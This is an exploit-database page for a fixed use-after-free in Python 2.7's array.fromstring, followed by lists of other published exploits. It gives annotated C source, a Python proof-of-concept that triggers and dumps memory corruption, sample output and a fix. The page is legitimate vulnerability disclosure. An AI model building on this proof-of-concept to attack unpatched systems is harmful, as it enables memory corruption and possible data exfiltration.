Menu

Search for hundreds of thousands of exploits

"Python 2.7 - 'array.fromstring' Method Use-After-Free"

Author

Exploit author

"John Leitch"

Platform

Exploit platform

multiple

Release date

Exploit published date

2015-11-03

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
Title: Python 2.7 array.fromstring Use After Free
Credit: John Leitch (john@autosectools.com)
Url1: http://autosectools.com/Page/Python-array-fromstring-Use-After-Free
Url2: http://bugs.python.org/issue24613
Resolution: Fixed

The Python 2.7 array.fromstring() method suffers from a use after free caused by unsafe realloc use. The issue is triggered when an array is concatenated to itself via fromstring() call:

static PyObject *
array_fromstring(arrayobject *self, PyObject *args)
{
    char *str;
    Py_ssize_t n;
    int itemsize = self->ob_descr->itemsize;
    if (!PyArg_ParseTuple(args, "s#:fromstring", &str, &n)) <<<< The str buffer is parsed from args. In cases where an array is passed to itself, self->ob_item == str.
        return NULL;
    if (n % itemsize != 0) {
        PyErr_SetString(PyExc_ValueError,
                   "string length not a multiple of item size");
        return NULL;
    }
    n = n / itemsize;
    if (n > 0) {
        char *item = self->ob_item; <<<< If str == self->ob_item, item == str.
        if ((n > PY_SSIZE_T_MAX - Py_SIZE(self)) ||
            ((Py_SIZE(self) + n) > PY_SSIZE_T_MAX / itemsize)) {
                return PyErr_NoMemory();
        }
        PyMem_RESIZE(item, char, (Py_SIZE(self) + n) * itemsize); <<<< A realloc call occurs here with item passed as the ptr argument. Because realloc sometimes calls free(), this means that item may be freed. If item was equal to str, str is now pointing to freed memory.
        if (item == NULL) {
            PyErr_NoMemory();
            return NULL;
        }
        self->ob_item = item;
        Py_SIZE(self) += n;
        self->allocated = Py_SIZE(self);
        memcpy(item + (Py_SIZE(self) - n) * itemsize,
               str, itemsize*n); <<<< If str is dangling at this point, a use after free occurs here.
    }
    Py_INCREF(Py_None);
    return Py_None;
}

In most cases when this occurs, the function behaves as expected; while the dangling str pointer is technically pointing to deallocated memory, given the timing it is highly likely the memory contains the expected data. However, ocassionally, an errant allocation will occur between the realloc and memcpy, leading to unexpected contents in the str buffer.

In applications that expose otherwise innocuous indirect object control of arrays as attack surface, it may be possible for an attacker to trigger the corruption of arrays. This could potentially be exploited to exfiltrate data or achieve privilege escalation, depending on subsequent operations performed using corrupted arrays.

A proof-of-concept follows:

import array
import sys
import random

testNumber = 0

def dump(value):
    global testNumber
    i = 0
    for x in value:
        y = ord(x)
        if (y != 0x41): 
            end = ''.join(value[i:]).index('A' * 0x10)
            sys.stdout.write("%08x a[%08x]: " % (testNumber, i))
            for z in value[i:i+end]: sys.stdout.write(hex(ord(z))[2:])
            sys.stdout.write('\r\n')
            break            
        i += 1

def copyArray():
    global testNumber
    while True:
        a=array.array("c",'A'*random.randint(0x0, 0x10000))
        a.fromstring(a)
        dump(a)
        testNumber += 1
    
print "Starting..."    
copyArray()

The script repeatedly creates randomly sized arrays filled with 0x41, then calls fromstring() and checks the array for corruption. If any is found, the relevant bytes are written to the console as hex. The output should look something like this:

Starting...
00000007 a[00000cdc]: c8684d0b0f54c0
0000001d a[0000f84d]: b03f4f0b8be620
00000027 a[0000119f]: 50724d0b0f54c0
0000004c a[00000e53]: b86b4d0b0f54c0
0000005a a[000001e1]: d8ab4609040620
00000090 a[0000015b]: 9040620104e5f0
0000014d a[000002d6]: 10ec620d8ab460
00000153 a[000000f7]: 9040620104e5f0
0000023c a[00000186]: 50d34c0f8b65a0
00000279 a[000001c3]: d8ab4609040620
000002ee a[00000133]: 9040620104e5f0
000002ff a[00000154]: 9040620104e5f0
0000030f a[00000278]: 10ec620d8ab460
00000368 a[00000181]: 50d34c0f8b65a0
000003b2 a[0000005a]: d0de5f0d05e5f0
000003b5 a[0000021c]: b854d00d3620
00000431 a[000001d8]: d8ab4609040620
0000044b a[000002db]: 10ec620d8ab460
00000461 a[000000de]: 9040620104e5f0
000004fb a[0000232f]: 10f74d0c0ce620
00000510 a[0000014a]: 9040620104e5f0

In some applications, such as those that are web-based, similar circumstances may manifest that would allow for remote exploitation.

To fix the issue, array_fromstring should check if self->ob_item is pointing to the same memory as str, and handle the copy accordingly.
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2015-11-03 "Python 2.7 - 'array.fromstring' Method Use-After-Free" dos multiple "John Leitch"
2015-11-03 "Python 3.3 < 3.5 - 'product_setstate()' Out-of-Bounds Read" dos windows "John Leitch"
2015-11-03 "Python 2.7 - 'strop.replace()' Method Integer Overflow" dos windows "John Leitch"
2015-11-03 "Python 2.7 hotshot Module - 'pack_string' Heap Buffer Overflow (PoC)" dos windows "John Leitch"
2014-11-24 "PHP 5.5.12 - Locale::parseLocale Memory Corruption" dos php "John Leitch"
2011-05-16 "eFront 3.6.9 - 'submitScore.php' Cross-Site Scripting" webapps php "John Leitch"
2011-04-08 "vTiger CRM 5.2.1 - 'sortfieldsjson.php' Local File Inclusion" webapps php "John Leitch"
2011-04-04 "WordPress Plugin WPwizz AdWizz Plugin 1.0 - 'link' Cross-Site Scripting" webapps php "John Leitch"
2011-04-03 "WordPress Plugin Placester 0.1 - 'ajax_action' Cross-Site Scripting" webapps php "John Leitch"
2011-03-10 "Xinha 0.96 - 'spell-check-savedicts.php' Multiple HTML Injection Vulnerabilities" webapps php "John Leitch"
2011-01-10 "Solar FTP Server 2.1.1 - 'PASV' Remote Buffer Overflow" remote windows "John Leitch"
2010-12-29 "httpdasm 0.92 - Directory Traversal" remote windows "John Leitch"
2010-12-29 "QuickPHP Web Server 1.9.1 - Directory Traversal" remote windows "John Leitch"
2010-12-10 "Helix Server 14.0.1.571 - Administration Interface Cross-Site Request Forgery" remote multiple "John Leitch"
2010-12-08 "WordPress Plugin Processing Embed 0.5 - 'pluginurl' Cross-Site Scripting" webapps php "John Leitch"
2010-12-08 "WordPress Plugin Safe Search - 'v1' Cross-Site Scripting" webapps php "John Leitch"
2010-12-07 "WordPress Plugin Twitter Feed - 'url' Cross-Site Scripting" webapps php "John Leitch"
2010-11-10 "WeBid 0.85P1 - Multiple Input Validation Vulnerabilities" webapps php "John Leitch"
2010-11-08 "WordPress Plugin Vodpod Video Gallery 3.1.5 - 'vodpod_gallery_thumbs.php' Cross-Site Scripting" webapps php "John Leitch"
2010-11-08 "WordPress Plugin WP Survey And Quiz Tool 1.2.1 - Cross-Site Scripting" webapps php "John Leitch"
2010-11-08 "WordPress Plugin jRSS Widget 1.1.1 - 'url' Information Disclosure" webapps php "John Leitch"
2010-11-08 "WordPress Plugin SEO Tools 3.0 - 'file' Directory Traversal" webapps php "John Leitch"
2010-11-08 "WordPress Plugin FeedList 2.61.01 - 'handler_image.php' Cross-Site Scripting" webapps php "John Leitch"
2010-11-01 "Home File Share Server 0.7.2 32 - Directory Traversal" remote multiple "John Leitch"
2010-11-01 "Project Jug 1.0.0 - Directory Traversal" remote windows "John Leitch"
2010-10-27 "MinaliC WebServer 1.0 - Denial of Service" dos windows "John Leitch"
2010-10-27 "MinaliC WebServer 1.0 - Directory Traversal" remote windows "John Leitch"
2010-10-11 "BaconMap 1.0 - Local File Disclosure" webapps php "John Leitch"
2010-10-11 "BaconMap 1.0 - SQL Injection" webapps php "John Leitch"
2010-10-01 "Tiki Wiki CMS Groupware 5.2 - Multiple Vulnerabilities" webapps php "John Leitch"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.